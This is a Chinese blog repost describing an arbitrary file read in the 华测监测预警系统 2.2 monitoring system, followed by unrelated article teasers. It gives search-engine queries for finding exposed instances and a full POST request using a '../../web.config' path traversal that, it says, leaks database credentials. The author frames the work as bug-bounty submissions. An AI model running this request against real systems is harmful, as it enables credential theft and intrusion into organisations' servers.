当前位置： 首页 > news >正文

华测监测预警系统 2.2---任意文件读取漏洞

news 2025/8/29 22:04:50

目录

1. 资产搜集

2. 漏洞复现

3. 实战总结

1. 资产搜集

直接上fofa 和 hunter
个人推荐hunter可以看到icp备案公司直接提交盒子就行了

FOFA语法 app=”华测监测预警系统2.2”

Hunter语法 web.body=”华测监测预警系统2.2”

图片

2. 漏洞复现

这里手动复现的，目录是/Handler/FileDownLoad.ashx
通过hackerbar 可以修改POST传参，或者利用BP构造请求包。

 

  1.  
    POST /Handler/FileDownLoad.ashx HTTP/1.1
     
  2.  
    Host: ip:port
     
  3.  
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
     
  4.  
    Accept-Encoding: gzip, deflate
     
  5.  
    Accept: */*
     
  6.  
    Connection: close
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    Content-Length: 36
     
  9.  
     
  10.  
    filename=1&filepath=../../web.config
     
 

这里的filename随便传参，只是一个文件名字。
 filepath是文件路径，这里访问后会直接下载文件到本地。
 

 

图片
 

文件里包含了数据库的账号密码
 

3. 实战总结
 

最后直接用hunter找到有备案信息的公司，直接提交 盒子成功！！！
 

图片
 

 

图片
 

                                                            没看够~？欢迎关注扫一扫！
 















相关文章：
















华测监测预警系统 2.2---任意文件读取漏洞




目录 1. 资产搜集 
2. 漏洞复现 
3. 实战总结 1. 资产搜集 
直接上fofa 和 hunter 个人推荐hunter可以看到icp备案公司直接提交盒子就行了 
FOFA语法 app”华测监测预警系统2.2” 
Hunter语法 web.body”华测监测预警系统2.2” 2. 漏洞复现 
这里手动复现的，目录是/…...






编程日记
2023/10/19 18:03:18



















新版多功能去水印工具微信小程序源码下载+带流量主功能




新版多功能去水印工具微信小程序源码下载，带流量主功能。自带去水印接口的多功能小程序，支持各大平台短视频去水印。 支持保存封面、图集、标题等等；支持本地图片去水印；支持图片拼接；支持九宫格切图；支持修…...






编程日记
2023/10/19 18:01:14



















文章必备| 叶绿体基因组高级分析内容汇总




叶绿体普遍存在于植物体中，叶绿体基因组是一个典型的双链环状DNA分子，一个植物当中含有多个叶绿体，一个叶绿体中含有12个cpDNA分子。 
常见的植物叶绿体基因组大小一般在150-160 kb左右，藻类会略小一些，在80-100 kb左右…...






编程日记
2023/10/19 18:00:13



















阿里实习JAVA后端面经总结




暑期实习面试阿里Java后端岗位的一面的面经。 
主要拷打了项目+Java 集合+Java并发+网络+mysql，一场面试大概问了 20 个题目，问的还是比较基础，不算太难。 
问题记录 
简历上有两个项目，选一个你比较熟悉的介绍 
（略） 
项目用到了哪个线程实现类？ 
用了ScheduledThreadP…...






编程日记
2023/10/19 17:59:13



















利用 NLP 超能力：一步步介绍Hugging Face微调教程




导入必要的库 
导入必要的库类似于为特定编程和数据分析活动构建工具包。这些库通常是预先编写的代码集合，提供广泛的功能和工具，有助于加快开发速度。开发人员和数据科学家可以通过导入适当的库来访问新功能、提高生产力并使用现有解决方案。 
import pandas as pd
import n…...






编程日记
2023/10/19 17:58:11



















凝聚技术力量 共建测试生态 ——集成电路测试技术交流日成功举办




10月18日下午，凝聚技术力量，共建测试生态 ——集成电路测试技术交流会在上海成功举办。来自全国各地知名专家学者、技术大咖及企业代表齐聚一堂，共同探讨封装测试技术的发展方向，共话产业未来，共促产业发展。 本次活动…...






编程日记
2023/10/19 17:57:10



















机器学习-ROC曲线：技术解析与实战应用




目录 一、引言ROC曲线简介 二、ROC曲线的历史背景二战雷达信号检测在医学和机器学习中的应用横跨多个领域的普及 三、数学基础True Positive Rate（TPR）与False Positive Rate（FPR）True Positive Rate（TPR）F…...






编程日记
2023/10/19 17:56:09



















macos平台好用的FTP客户端 Transmit 5最新中文




Transmit 5是一款Mac平台上的FTP(文件传输协议)客户端软件，它可以让用户方便地在不同的计算机之间传输文件，例如从本地计算机上传或下载文件到远程服务器。以下是Transmit 5的一些主要功能和特点： 
用户友好的界面：Transmit 5具有…...






编程日记
2023/10/19 17:55:08



















用JavaScript输出0-9的两种方法、以及setTimeout的三个参数的意义




方法一：  
for (let i  0; i < 10; i) {setTimeout(() > {console.log(i);}, 1000)
} 
方法二&#xff1a;利用 setTimeout 函数的第三个参数&#xff0c;会作为回调函数的第一个参数传入 
for (var i  0; i < 10; i) {setTimeout(i > {console.log(i);…...






编程日记
2023/10/19 17:53:07



















酷鸟云近期主要新功能合集




近期&#xff0c;根据用户需求&#xff0c;酷鸟云上线了一系列新功能&#xff0c;让大家在使用过程中&#xff0c;更加灵活和高效。 1、仿真指纹功能优化 
酷鸟云内置的专业防关联浏览器的仿真指纹功能&#xff0c;可以解决注册谷歌账号/谷歌邮箱&#xff08;Gmail&#xff09;…...






编程日记
2023/10/19 17:52:03



















【大数据开发技术】实验06-SequenceFile、元数据操作与MapReduce单词计数




文章目录 SequenceFile、元数据操作与MapReduce单词计数一、实验目标二、实验要求三、实验内容四、实验步骤附&#xff1a;系列文章 SequenceFile、元数据操作与MapReduce单词计数 
一、实验目标 
熟练掌握hadoop操作指令及HDFS命令行接口掌握HDFS SequenceFile读写操作掌握Map…...






编程日记
2023/10/19 17:51:02



















【C语言】输入一个正整数，判断其是否为素数




1、素数又叫质数。素数&#xff0c;指的是“大于1的整数中&#xff0c;只能被1和这个数本身整除的数”。 
2、素数也可以被等价表述成&#xff1a;“在正整数范围内&#xff0c;大于1并且只有1和自身两个约数的数”。 #include<stdio.h>int main() {int i,m;printf("…...






编程日记
2023/10/19 17:50:01



















2023年Q3季度国内手机大盘销额下滑2%，TOP品牌销售数据分析




根据Canalys机构发布的最新报告&#xff0c;2023年第三季度&#xff0c;全球智能手机市场出货量仅下跌1%&#xff0c;可以认为目前全球手机市场的下滑势头有所减缓。而国内线上市场的表现也类似。 根据鲸参谋数据显示&#xff0c;今年Q3京东平台手机累计销量约1100万件&#xf…...






编程日记
2023/10/19 17:49:00



















使用按钮从 SAP 系统内打开 Excel 文件




了解如何通过 SAP 屏幕上创建的按钮打开所需的 Excel 文件。为了演示这一点&#xff0c;将指导您完成以下步骤。 
使用 del 命令删除 SAP 上不必要的元素添加一个按钮&#xff0c;单击后打开弹出窗口创建一个函数来选择 excel 文件创建打开所需 excel 文件的函数 
定制 
登录 S…...






编程日记
2023/10/19 17:47:58



















人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络，技术创新点介绍




大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络&#xff0c;技术创新点介绍&#xff0c;随着人工智能和深度学习技术的飞速发展&#xff0c;文本到视频生成已经成为计算机视觉领域中一个重…...






编程日记
2023/10/19 17:46:57



















C/C++面试常见问题——指针和引用的区别




首先想要理解指针和引用的区别&#xff0c;我们要明确什么是指针&#xff0c;什么是引用 
一&#xff0c;指针和引用的基本概念及特性 
指针是一个特殊变量&#xff0c;其中存储着所指向变量的地址 
指针主要有以下特性&#xff1a; 
1. 在使用时需要*解引用 
2. sizeof(指针)的…...






编程日记
2023/10/19 17:45:56



















探索DeFi世界，MixGPT引领智能金融新时代




随着区块链技术的迅猛发展&#xff0c;DeFi&#xff08;去中心化金融&#xff09;正成为金融领域的新宠。在这个充满活力的领域里&#xff0c;MixTrust站在创新的前沿&#xff0c;推出了一款引领智能金融新时代的核心技术——MixGPT。 MixGPT&#xff1a;引领智能金融体验的大型…...






编程日记
2023/10/19 17:44:55



















留学教育咨询机构如何通过软文强势突围




近年来留学市场逐渐回暖&#xff0c;但是行业竞争也更加激烈&#xff0c;留学教育咨询机构想要在激烈的市场竞争中强势突围&#xff0c;除了优秀的职业素养&#xff0c;专业的服务态度外&#xff0c;还需要具备品牌形象打造和推广的能力&#xff0c;也有不少留学机构找盒子进行…...






编程日记
2023/10/19 17:43:52



















苹果平板可以用别的电容笔吗？电容笔和Apple pencil区别




和苹果原装的Pencil相比&#xff0c;这种平替的电容笔并没具备重力压感&#xff0c;只有一种倾斜的压感功能。如果你不经常用来作画&#xff0c;一支普通的电容笔就足够了。不管是用来记笔记&#xff0c;还是用来解决一些数学问题&#xff0c;都能用得上。再说了&#xff0c;即…...






编程日记
2023/10/19 17:42:51



















【Matlab笔记_16】yyyy-MM-dd HH:mm:ss的datetime格式拆分为yyyy-MM-dd日期部分和HH:mm:ss时间部分




实例&#xff1a;需要拆分的时间为’2002-04-17 11:00:00’ 
1拆分出 ‘2002-04-17’ 
% 假设datetime对象是 dt&#xff0c;例如&#xff1a;
dt  datetime(2002-04-17 11:00:00);% 使用dateshift提取日期部分
dateOnly  dateshift(dt, start, day);% 显示提取的日期部分
disp…...






编程日记
2023/10/19 17:41:50





















前端倒计时误差!




提示：记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来？二、五大解决方案1. 动态校准法（基础版）2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 
前几天听说公司某个项…...






编程新知
2025/7/13 22:34:29



















深入浅出：JavaScript 中的 `window.crypto.getRandomValues()` 方法




深入浅出&#xff1a;JavaScript 中的 window.crypto.getRandomValues() 方法 
在现代 Web 开发中&#xff0c;随机数的生成看似简单&#xff0c;却隐藏着许多玄机。无论是生成密码、加密密钥&#xff0c;还是创建安全令牌&#xff0c;随机数的质量直接关系到系统的安全性。Jav…...






编程新知
2025/6/15 19:02:54



















深入理解JavaScript设计模式之单例模式




目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 
单例模式&#xff08;Singleton Pattern&#…...






编程新知
2025/8/21 19:12:52



















【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍，多层嵌套定位示例




文章目录 
★  position 的五种类型及基本用法  ★ 
一、position 属性概述 
二、position 的五种类型详解（初学者版） 
1. static（默认值） 
2. relative（相对定位） 
3. absolute（绝对定位） 
4. fixed（固定定位） 
5. sticky（粘性定位） 
三、定位元素的层级关系（z-i…...






编程新知
2025/8/24 19:33:30



















技术栈RabbitMq的介绍和使用




目录 1. 什么是消息队列&#xff1f;2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...






编程新知
2025/8/28 18:37:14



















【Android】Android 开发 ADB 常用指令




查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...






编程新知
2025/8/17 23:35:19



















在 Spring Boot 项目里，MYSQL中json类型字段使用




前言&#xff1a; 
因为程序特殊需求导致&#xff0c;需要mysql数据库存储json类型数据&#xff0c;因此记录一下使用流程 
1.java实体中新增字段 
private List<User> users 
2.增加mybatis-plus注解  
TableField(typeHandler  FastjsonTypeHandler.class)
private Lis…...






编程新知
2025/7/9 16:55:37



















学习一下用鸿蒙​​DevEco Studio HarmonyOS5实现百度地图




在鸿蒙&#xff08;HarmonyOS5&#xff09;中集成百度地图&#xff0c;可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API&#xff0c;可以构建跨设备的定位、导航和地图展示功能。 ​​1. 鸿蒙环境准备​​ 
​​开发工具​​&#xff1a;下载安装 ​​De…...






编程新知
2025/8/3 15:16:26



















十九、【用户管理与权限 - 篇一】后端基础：用户列表与角色模型的初步构建




【用户管理与权限 - 篇一】后端基础：用户列表与角色模型的初步构建 前言准备工作第一部分：回顾 Django 内置的 `User` 模型第二部分：设计并创建 `Role` 和 `UserProfile` 模型第三部分：创建 Serializers第四部分：创建 ViewSets第五部分：注册 API 路由第六部分：后端初步测…...






编程新知
2025/7/5 22:36:20



















TCP/IP 网络编程 | 服务端  客户端的封装




设计模式 文章目录 设计模式一、socket.h 接口&#xff08;interface&#xff09;二、socket.cpp 实现&#xff08;implementation&#xff09;三、server.cpp 使用封装&#xff08;main 函数&#xff09;四、client.cpp 使用封装&#xff08;main 函数&#xff09;五、退出方法…...






编程新知
2025/7/27 7:26:07